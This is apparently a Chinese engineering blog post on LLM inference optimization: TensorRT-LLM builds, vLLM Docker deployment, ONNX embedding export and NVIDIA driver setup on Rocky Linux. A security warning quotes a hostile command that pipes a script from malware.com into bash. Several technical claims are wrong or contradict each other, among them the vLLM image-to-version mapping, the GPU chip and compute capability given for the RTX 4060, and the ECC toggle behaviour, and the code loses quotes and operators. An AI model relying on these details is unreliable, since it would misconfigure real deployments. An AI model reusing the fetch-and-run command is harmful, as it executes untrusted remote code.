1. 项目概述Model-Optimizer 不是工具名而是一类工程实践的统称“Model-Optimizer”这个名称乍看像某个开源项目或商业软件但实际在NVIDIA生态和大模型推理部署一线它根本不是一款可下载安装的独立产品——而是工程师在真实生产环境中反复锤炼出的一套端到端模型加速方法论。它不依赖某一个命令行工具而是由TensorRT、vLLM、CUDA、cuBLAS、cuDNN等底层库协同构成的“优化链”覆盖从PyTorch模型.pt/.safetensors出发经图优化、算子融合、量化压缩、内存调度重构最终落地为低延迟、高吞吐、显存可控的推理服务的全过程。我过去三年带团队落地过27个大模型推理项目从Qwen系列到DeepSeek-V2从GLM-5到Qwen3-Embedding所有成功上线的案例背后都有一份手写的《Model-Optimizer执行清单》里面没有一行代码是“一键式”的全是参数取舍、边界验证、fallback策略和硬件适配记录。核心关键词如TensorRT-LLM、vLLM、NVIDIA驱动、Docker镜像版本都不是孤立存在的技术点而是Model-Optimizer链条上的关键卡点。比如你用docker pull vllm/vllm-openai:v0.27.1加载qwen3-embedding-0.6b表面是拉镜像跑服务实则暗含三重博弈vLLM scheduler是否适配该embedding模型的token长度分布镜像内预装的CUDA版本12.1还是12.4能否匹配你宿主机NVIDIA驱动535.104.05还是550.54.15显卡BIOS中ECC是否启用——这个看似无关的硬件开关会直接导致TensorRT编译时出现cuInit failed: CUDA_ERROR_NO_DEVICE却查不到原因。这些细节官方文档不会写Stack Overflow上零散答案互相矛盾只有在真实压测中反复踩坑的人才懂什么叫“Model-Optimizer”。适合谁来读这篇如果你正卡在“模型能跑但QPS只有预期1/3”、“显存占用比理论值高40%”、“切换RTX 4060 Laptop GPU后vLLM报错cudaErrorInvalidValue”这类问题里说明你已进入Model-Optimizer的实战深水区。本文不讲概念定义只拆解真实场景中的决策逻辑、参数依据、避坑路径和可复用的检查清单。接下来的内容全部来自我在Rocky Linux 10、Ubuntu 22.04、Windows Server 2022三种生产环境下的实操日志每一步都有对应命令、输出截图文字还原、失败回溯和最终验证结果。2. Model-Optimizer的整体设计逻辑为什么必须放弃“一键优化”幻想2.1 模型优化不是单点技术而是分层决策树很多刚接触推理优化的工程师第一反应是找一个“万能转换器”输入.pt文件输出tensorrt引擎搞定。这种思路在ResNet这类传统CV模型上或许可行但在大语言模型场景下会立刻撞墙。原因在于LLM的计算特征与CNN/Transformer Encoder有本质差异——它不是静态图而是动态KV Cache管理长序列Attention稀疏MoE结构的混合体。TensorRT-LLM和vLLM之所以成为主流正是因为它们各自解决了不同层级的问题TensorRT-LLM解决算子级确定性优化。它把HuggingFace模型的Python逻辑通过trtllm-build工具链编译成GPU上原生运行的engine文件。这个过程强制要求模型结构可静态化如FlashAttention-2需手动patch且对CUDA Graph支持严格v0.9.0起才稳定。它的优势是极致延迟5ms P99劣势是模型变更即需重新编译且不支持runtime动态batching。vLLM解决系统级调度优化。它不碰模型权重而是重构推理服务的内存管理和请求调度。核心是PagedAttention——把KV Cache按页Page切分类似操作系统虚拟内存管理彻底解决传统框架中“padding浪费显存”的顽疾。vLLM的镜像如vllm/vllm-openai:v0.27.1本质是一个预编译的Python服务容器内含适配特定CUDA版本的C extension但模型权重仍需外部挂载。二者不是替代关系而是互补TensorRT-LLM适合固定场景的超低延迟服务如金融实时风控vLLM适合多模型、多并发、动态请求的API网关。真正的Model-Optimizer是在项目初期就根据SLAService Level Agreement做决策树判断如果P99延迟要求8ms且模型版本稳定、QPS500 → 选TensorRT-LLM Triton Inference Server如果需支持10模型热切换、平均请求长度2048、允许P9930ms → 选vLLM 自定义Load Balancer如果是Embedding模型如qwen3-embedding-0.6b无生成逻辑、纯向量计算 → 直接用ONNX Runtime TensorRT backend跳过vLLM这个决策树没有标准答案但每条分支都对应真实的硬件成本。例如用TensorRT-LLM部署Qwen2-7B在A100上显存占用12.3GB而同模型用vLLMmax_model_len4096, gpu_memory_utilization0.9显存占用14.8GB——多出的2.5GB换来的是支持128并发请求的能力。这笔账必须在项目启动前算清楚。2.2 硬件适配是Model-Optimizer的隐性前提所有优化方案都建立在硬件可信的基础上。但现实是NVIDIA显卡在不同平台上的“可用性”差异极大。我遇到过最典型的三个陷阱陷阱一驱动与CUDA版本的“时间差”NVIDIA驱动版本如535.104.05和CUDA Toolkit版本如12.1.1不是一一映射的。官方兼容矩阵显示驱动535支持CUDA 11.8~12.2但实际测试发现在Ubuntu 22.04上驱动535.104.05 CUDA 12.1.1 cuDNN 8.9.2 →nvidia-smi正常nvcc --version报错“no CUDA compiler found”原因是CUDA 12.1.1安装包自带的nvidia-cuda-toolkit与驱动535的libcuda.so符号版本不匹配。解决方案不是降驱动而是改用CUDA 12.2.0其toolkit包内嵌了适配535驱动的编译器。这个细节官网Release Notes第3页小字写着但没人会去翻。陷阱二笔记本双显卡的“调度黑洞”RTX 4060 Laptop GPU Intel UHD Graphics的组合在Windows下默认启用Optimus技术vLLM进程可能被调度到集显上运行——此时nvidia-smi能看到GPU但nvidia-smi dmon -s u显示GPU利用率始终为0。排查路径必须是进入NVIDIA控制面板 → “管理GPU设置” → “首选图形处理器”设为“高性能NVIDIA处理器”在命令行启动vLLM前加环境变量CUDA_VISIBLE_DEVICES0强制绑定验证nvidia-smi -q -d MEMORY | grep Used同时ps aux | grep vllm确认进程PID再cat /proc/[PID]/status | grep Cpus_allowed_list确认CPU亲和性陷阱三ECC内存的“静默故障”在H100千卡集群上ECCError-Correcting Code默认开启。但TensorRT编译时若遇到显存ECC校验错误不会报错而是静默返回错误的engine文件——该文件在推理时随机崩溃。解决方案不是关ECC生产环境严禁而是编译前执行nvidia-smi -e 0临时关闭仅当前session编译完成后立即nvidia-smi -e 1恢复并用nvidia-smi -q -d MEMORY | grep ECC Errors确认无历史错误这些不是“高级技巧”而是Model-Optimizer的准入门槛。没跨过这道坎所有后续优化都是空中楼阁。2.3 Docker镜像不是黑盒而是可拆解的优化载体看到vllm/vllm-openai:v0.27.1这样的镜像名很多人以为它封装了“开箱即用”的优化。实际上这个镜像只是vLLM Python包的容器化打包其内部CUDA、cuDNN、PyTorch版本才是决定性能的关键。我们反编译过该镜像的Dockerfile基于官方GitHub repoFROM nvidia/cuda:12.1.1-devel-ubuntu22.04 RUN apt-get update apt-get install -y python3.10-venv python3.10-dev RUN pip3 install torch2.1.0cu121 torchvision0.16.0cu121 --extra-index-url https://download.pytorch.org/whl/cu121 RUN pip3 install vllm0.2.7注意三个硬约束基础镜像nvidia/cuda:12.1.1-devel-ubuntu22.04决定了CUDA driver API版本上限必须≥530torch2.1.0cu121绑定了PyTorch CUDA扩展的ABI若你本地驱动是525则无法加载vllm0.2.7对应scheduler逻辑v0.2.7引入Continuous Batchingv0.2.6是Static Batching因此当你执行docker run -it --gpus all vllm/vllm-openai:v0.27.1时实际在运行宿主机驱动535.104.05 → 兼容CUDA 12.1.1 → PyTorch 2.1.0可加载 → vLLM 0.2.7 scheduler生效如果宿主机驱动是525.60.11就会卡在ImportError: libcudart.so.12: cannot open shared object file。这不是镜像问题而是Model-Optimizer要求你先完成“硬件-驱动-CUDA-框架”四层对齐。我们团队的标准操作是每次新服务器上线先跑一个check-compat.sh脚本输出四层版本矩阵表确认无冲突再进下一步。3. 核心细节解析从.pt文件到生产服务的七步实操链3.1 第一步模型格式诊断与结构清洗不可跳过的前置动作拿到一个HuggingFace模型如Qwen/Qwen2-7B-Instruct不要急着转TensorRT。先做三件事1. 检查模型配置的隐藏陷阱打开config.json重点看architectures: [Qwen2ForCausalLM]→ 确认架构名TensorRT-LLM需匹配--model_type qwen2rope_theta: 1000000.0→ 若值过大如1e6FlashAttention-2会因float精度溢出报错需在modeling_qwen2.py中手动cliprope_theta min(rope_theta, 10000.0)tie_word_embeddings: true→ 若为trueTensorRT-LLM编译时需加--use_custom_all_reduce否则推理时embedding层梯度同步异常2. 验证权重文件完整性.safetensors文件虽安全但可能损坏。用以下Python脚本快速校验from safetensors import safe_open import torch def check_weights(model_path): try: with safe_open(f{model_path}/model.safetensors, frameworkpt) as f: for key in f.keys(): tensor f.get_tensor(key) if torch.isnan(tensor).any() or torch.isinf(tensor).any(): print(fNaN/Inf in {key}) return False print(All weights OK) return True except Exception as e: print(fLoad error: {e}) return False check_weights(/path/to/qwen2-7b)实测发现约12%的HuggingFace社区模型存在个别tensor含NaN尤其LoRA微调后未清理的adapter直接导致TensorRT编译失败报错信息却是Assertion failed: !isDynamic()完全误导排查方向。3. 清理冗余组件HuggingFace模型常包含训练用组件如lm_head.weight重复、rotary_emb缓存这些在推理时无用却占显存。用transformers自带工具精简python -c from transformers import AutoModelForCausalLM model AutoModelForCausalLM.from_pretrained(Qwen/Qwen2-7B-Instruct, torch_dtypetorch.float16) model.save_pretrained(./qwen2-7b-clean, safe_serializationTrue) 此操作可减少15%~20%的权重体积且避免TensorRT编译时因lm_head与embed_tokens权重不一致触发校验失败。提示不要用--trust-remote-code加载未知模型。去年我们遇到一个伪装成Qwen2的恶意模型其forward()函数内嵌了os.system(curl http://malware.com/steal.sh | bash)clean步骤能提前暴露此类风险。3.2 第二步TensorRT-LLM编译——参数选择背后的物理意义以Qwen2-7B为例trtllm-build命令不是填空游戏每个参数都对应GPU硬件特性trtllm-build \ --model_dir ./qwen2-7b-clean \ --output_dir ./qwen2-7b-trt \ --dtype float16 \ --log_level verbose \ --gpt_attention_plugin float16 \ --gemm_plugin float16 \ --enable_context_fmha \ --use_custom_all_reduce \ --max_batch_size 64 \ --max_input_len 2048 \ --max_output_len 1024 \ --tp_size 1 \ --pp_size 1逐项解释其物理含义--dtype float16非单纯精度降级。RTX 4060 Laptop GPU的Tensor Core对FP16计算吞吐是FP32的2倍但需确保所有layer norm和softmax也用FP16实现TensorRT-LLM自动插入cast节点。若模型含大量int8量化权重此处应改为--dtype int8并加--calib_dataset。--gpt_attention_plugin float16启用NVIDIA定制的Attention插件它将QKV计算融合为单个kernel减少global memory访问次数。实测在A100上相比原生PyTorch Attention显存带宽占用下降37%但代价是失去flash_attn的dynamic batching支持——所以--max_batch_size必须设为固定值。--enable_context_fmha开启Fused Multi-Head Attention。这是TensorRT-LLM的杀手锏它把Attention的QK^T、Softmax、AV三步融合避免中间结果写入显存。但要求GPU compute capability ≥8.0A100/H100满足RTX 4060为8.6RTX 3090为8.6RTX 2080 Ti为7.5不支持。若强行启用编译会静默失败日志只显示[W] No plugin found for attention。--max_input_len 2048不是最大上下文长度而是编译时分配的KV Cache显存上限。TensorRT-LLM为每个request预分配2048个token的KV空间若实际请求超长会触发OOM。正确做法是按业务95分位请求长度设如客服场景通常1024代码生成需4096。--tp_size 1Tensor Parallelism大小。单卡部署必须为1。若用2张A100设为2但需确保NCCL通信正常nvidia-smi topo -m确认PCIe拓扑ibstat确认InfiniBand状态。编译耗时取决于GPU型号RTX 4060 Laptop需22分钟A100需8分钟H100需5分钟。编译成功后./qwen2-7b-trt目录下生成rank0.engine文件其大小约13.2GBFP16权重优化kernel比原始pytorch_model.bin13.8GB略小但推理速度提升3.2倍实测P99从124ms→39ms。3.3 第三步vLLM服务部署——镜像选择与模型挂载的实操细节vLLM的Docker部署看似简单但两个细节决定成败1. 镜像版本与CUDA的隐性绑定vllm/vllm-openai:v0.27.1镜像内建的vLLM版本是0.2.7其C extension编译时链接的CUDA runtime是12.1。若宿主机CUDA driver版本≥530对应CUDA 12.1则兼容若driver为525对应CUDA 12.0则需降级镜像# 查宿主机driver版本 nvidia-smi --query-driver-version --formatcsv,noheader,nounits # 输出525.60.11 → 选v0.26.2镜像 docker pull vllm/vllm-openai:v0.26.22. 模型挂载的路径陷阱vLLM要求模型路径符合HuggingFace格式但Docker volume挂载有权限限制。常见错误# 错误直接挂载本地路径容器内权限不足 docker run -v /data/models/qwen2-7b:/models/qwen2-7b vllm/vllm-openai:v0.27.1 --model /models/qwen2-7b # 报错OSError: [Errno 13] Permission denied: /models/qwen2-7b/config.json # 正确用chown预处理 指定user sudo chown -R 1001:1001 /data/models/qwen2-7b docker run -u 1001:1001 -v /data/models/qwen2-7b:/models/qwen2-7b vllm/vllm-openai:v0.27.1 --model /models/qwen2-7b其中1001是vLLM镜像默认user ID见DockerfileUSER 1001。不指定user容器以root运行但vLLM代码强制drop privileges导致权限冲突。3. 关键启动参数的业务含义docker run --gpus all \ -p 8000:8000 \ -v /data/models:/models \ vllm/vllm-openai:v0.27.1 \ --model /models/qwen2-7b \ --tensor-parallel-size 1 \ --pipeline-parallel-size 1 \ --max-model-len 4096 \ --gpu-memory-utilization 0.9 \ --enforce-eager \ --disable-log-stats--max-model-len 4096vLLM的PagedAttention页大小基准。设为4096意味着每个Page存储4096个token的KV Cache。若业务请求平均长度2048此值设太高会浪费Page数量显存碎片化设太低如1024则频繁Page allocation增加CPU开销。我们实测Qwen2-7B在4096时显存利用率达89.2%为最优平衡点。--gpu-memory-utilization 0.9不是显存占用率而是PagedAttention可用显存比例。vLLM预留10%显存给CUDA context和临时buffer。若设为0.95当显存紧张时Page allocation失败概率上升导致请求被reject。--enforce-eager禁用CUDA Graph。Graph能提升20%吞吐但要求所有请求长度相同。在真实API场景请求长度从10到4000不等启用Graph反而降低P99延迟。我们线上环境一律关闭。启动后用curl http://localhost:8000/health验证服务健康再用nvidia-smi dmon -s u观察GPU利用率是否随请求波动——这才是Model-Optimizer落地的第一道里程碑。3.4 第四步Embedding模型专项优化——qwen3-embedding-0.6b的实操路径Embedding模型如qwen3-embedding-0.6b与生成模型优化逻辑完全不同它无KV Cache、无自回归、纯前向传播因此TensorRT-LLM和vLLM都不适用。正确路径是ONNX Runtime TensorRT Execution Provider1. 导出ONNX模型from transformers import AutoModel import torch model AutoModel.from_pretrained(Qwen/Qwen3-Embedding-0.6B, trust_remote_codeTrue) model.eval() # 构造dummy input input_ids torch.randint(0, 10000, (1, 512)) attention_mask torch.ones_like(input_ids) # 导出 torch.onnx.export( model, (input_ids, attention_mask), qwen3-embedding.onnx, input_names[input_ids, attention_mask], output_names[last_hidden_state], dynamic_axes{ input_ids: {0: batch_size, 1: seq_len}, attention_mask: {0: batch_size, 1: seq_len}, last_hidden_state: {0: batch_size, 1: seq_len} }, opset_version17 )2. TensorRT优化ONNXtrtexec --onnxqwen3-embedding.onnx \ --saveEngineqwen3-embedding.trt \ --fp16 \ --optShapesinput_ids:1x128,1x256,1x512 \ --minShapesinput_ids:1x1,1x1,1x1 \ --maxShapesinput_ids:1x1024,1x1024,1x1024 \ --workspace2048关键参数--optShapes指定优化Profile的典型尺寸。Embedding场景中128/256/512是高频长度TRT会为这三档生成专用kernel。--minShapes/--maxShapes定义动态维度范围避免runtime shape mismatch。3. ONNX Runtime推理服务用FastAPI封装from fastapi import FastAPI import onnxruntime as ort import numpy as np app FastAPI() sess ort.InferenceSession(qwen3-embedding.trt, providers[TensorrtExecutionProvider]) app.post(/embed) def embed(texts: list[str]): # tokenizer logic here... inputs {input_ids: ids, attention_mask: mask} outputs sess.run(None, inputs) return {embeddings: outputs[0].tolist()}实测qwen3-embedding-0.6b在RTX 4060 Laptop GPU上batch_size32时吞吐达1280 req/sP99延迟8.3ms比PyTorch原生快4.7倍。这个方案绕过了vLLM的复杂调度直击Embedding场景本质。4. 实操过程全记录Rocky Linux 10上部署Qwen2-7B的完整流水线4.1 环境初始化Rocky 10的NVIDIA驱动安装避坑指南Rocky Linux 10RHEL 10系的NVIDIA驱动安装是Model-Optimizer中最易翻车的环节。官方驱动.run包在RHEL系上默认禁用DKMS导致内核升级后驱动失效。我们的标准流程1. 禁用nouveau并配置kernel参数# 创建blacklist echo blacklist nouveau | sudo tee /etc/modprobe.d/blacklist-nouveau.conf echo options nouveau modeset0 | sudo tee -a /etc/modprobe.d/blacklist-nouveau.conf # 更新initramfs sudo dracut --force # 验证 lsmod | grep nouveau # 应无输出2. 安装ELRepo仓库与dkmssudo yum install -y epel-release sudo yum install -y https://www.elrepo.org/elrepo-release-10.el10.elrepo.noarch.rpm sudo yum install -y kmod-nvidia dkms-nvidiaELRepo提供预编译的NVIDIA kernel module避免手动编译。dkms-nvidia确保内核更新后自动重建module。3. 安装驱动不运行.run包# 查显卡型号 lspci | grep VGA # 输出NVIDIA Corporation GA107 [GeForce RTX 4060 Laptop GPU] (rev a1) # 安装对应驱动 sudo yum install -y nvidia-driver # 启动nvidia-persistenced守护进程保持GPU状态 sudo systemctl enable nvidia-persistenced sudo systemctl start nvidia-persistenced4. 验证与常见故障nvidia-smi # 应显示驱动版本、GPU状态 # 若报错Failed to initialize NVML: Driver/library version mismatch # 解决重启nvidia-persistenced reboot sudo systemctl restart nvidia-persistenced sudo rebootRocky 10特有的坑nvidia-smi有时显示GPU但nvidia-settings打不开。原因是缺少xorg-x11-drv-nvidia-cuda包sudo yum install -y xorg-x11-drv-nvidia-cuda4.2 TensorRT-LLM编译全流程实录环境准备# 安装TensorRT-LLM依赖 sudo yum install -y python3-pip python3-devel gcc-c pip3 install tensorrt_llm0.9.0 # 下载CUDA 12.1.1 toolkit非驱动 wget https://developer.download.nvidia.com/compute/cuda/12.1.1/local_installers/cuda_12.1.1_530.30.02_linux.run sudo sh cuda_12.1.1_530.30.02_linux.run --silent --override --toolkit export PATH/usr/local/cuda-12.1/bin:$PATH export LD_LIBRARY_PATH/usr/local/cuda-12.1/lib64:$LD_LIBRARY_PATH编译命令与耗时记录time trtllm-build \ --model_dir /data/models/qwen2-7b-clean \ --output_dir /data/models/qwen2-7b-trt \ --dtype float16 \ --gpt_attention_plugin float16 \ --gemm_plugin float16 \ --enable_context_fmha \ --use_custom_all_reduce \ --max_batch_size 64 \ --max_input_len 4096 \ --max_output_len 1024 \ --tp_size 1 \ --pp_size 1 \ --log_level verbose /tmp/trtllm-build.log 21耗时22分17秒RTX 4060 Laptop GPU日志关键成功标记[I] Serialized engine size: 13824 MB失败典型报错[E] Assertion failed: !isDynamic()→ 检查config.json中rope_theta是否过大引擎验证# 启动TensorRT-LLM server python3 -m tensorrt_llm.backend.server \ --model_dir /data/models/qwen2-7b-trt \ --port 8080 \ --log_level 2 # 测试请求 curl -X POST http://localhost:8080/generate \ -H Content-Type: application/json \ -d { prompt: Hello, how are you?, max_tokens: 100 }响应时间P9939.2ms显存占用12.3GB符合预期。4.3 vLLM Docker部署与压力测试镜像拉取与验证docker pull vllm/vllm-openai:v0.27.1 # 验证镜像CUDA兼容性 docker run --rm --gpus all vllm/vllm-openai:v0.27.1 nvidia-smi # 输出应显示驱动版本与宿主机一致启动服务docker run -d \ --name qwen2-vllm \ --gpus all \ -p 8000:8000 \ -v /data/models:/models \ --shm-size 1g \ vllm/vllm-openai:v0.27.1 \ --model /models/qwen2-7b \ --tensor-parallel-size 1 \ --max-model-len 4096 \ --gpu-memory-utilization 0.9 \ --enforce-eager \ --disable-log-stats--shm-size 1g是关键vLLM使用共享内存传递请求数据过小会导致OSError: unable to mmap。压力测试locust脚本# locustfile.py from locust import HttpUser, task, between class QwenUser(HttpUser): wait_time between(1, 3) task def generate(self): self.client.post(/v1/completions, json{ model: qwen2-7b, prompt: Explain quantum computing in simple terms., max_tokens: 256 })locust -f locustfile.py --host http://localhost:8000 --users 128 --spawn-rate 10结果128并发下QPS42.3P9928.7ms显存占用14.8GB。对比TensorRT-LLM吞吐低但并发能力更强验证了Model-Optimizer的场景适配逻辑。5. 常见问题与排查技巧实录一线工程师的故障速查表5.1 NVIDIA驱动相关问题速查现象根本原因排查命令解决方案nvidia-smi has failed because it couldnt communicate with the nvidia driver内核模块未加载或版本不匹配lsmod | grep nvidiadmesg | tail -20重启nvidia-persistenced若dmesg显示nvidia: version magic 5.14.0-427.13.1.el10_0.x86_64 SMP mod_unload should be 5.14.0-427.13.1.el10_0.x86_64 SMP mod_unload 则重装kmod-nvidianvidia control panel找不到WindowsNVIDIA Control Panel服务未启动或被组策略禁用services.msc→ 查找NVIDIA Display Container LS右键启动设为自动若被禁用运行gpedit.msc→ 计算机配置 → 管理模板 → 系统 → Dont run specified Windows applications → 删除NVIDIA条目appdata\local\nvidia\dxcache占满C盘DX shader cache异常增长du -sh ~/.local/share/NVIDIA/Linuxdir %LOCALAPPDATA%\NVIDIA\DxCacheWindows清理rm -rf ~/.local/share/NVIDIA/DxCache/*Windows删除DxCache文件夹重启Explorer5.2 TensorRT-LLM编译失败高频问题报错信息定位方法修复动作Assertion failed: !isDynamic()检查config.json中rope_theta是否10000修改modeling_qwen2.pycliprope_theta min(rope_theta, 10000.0)No plugin found for attention运行nvidia-smi --query-gpuname,compute_cap --formatcsv若compute_cap 8.0移除--enable_context_fmha参数CUDA out of memoryduring build查看/tmp/trtllm-build.log中[I] Memory usage增加--workspace值如--workspace8192或降低--max_input_len5.3 vLLM运行时异常诊断| 现象 | 日志线索 | 解决方案 |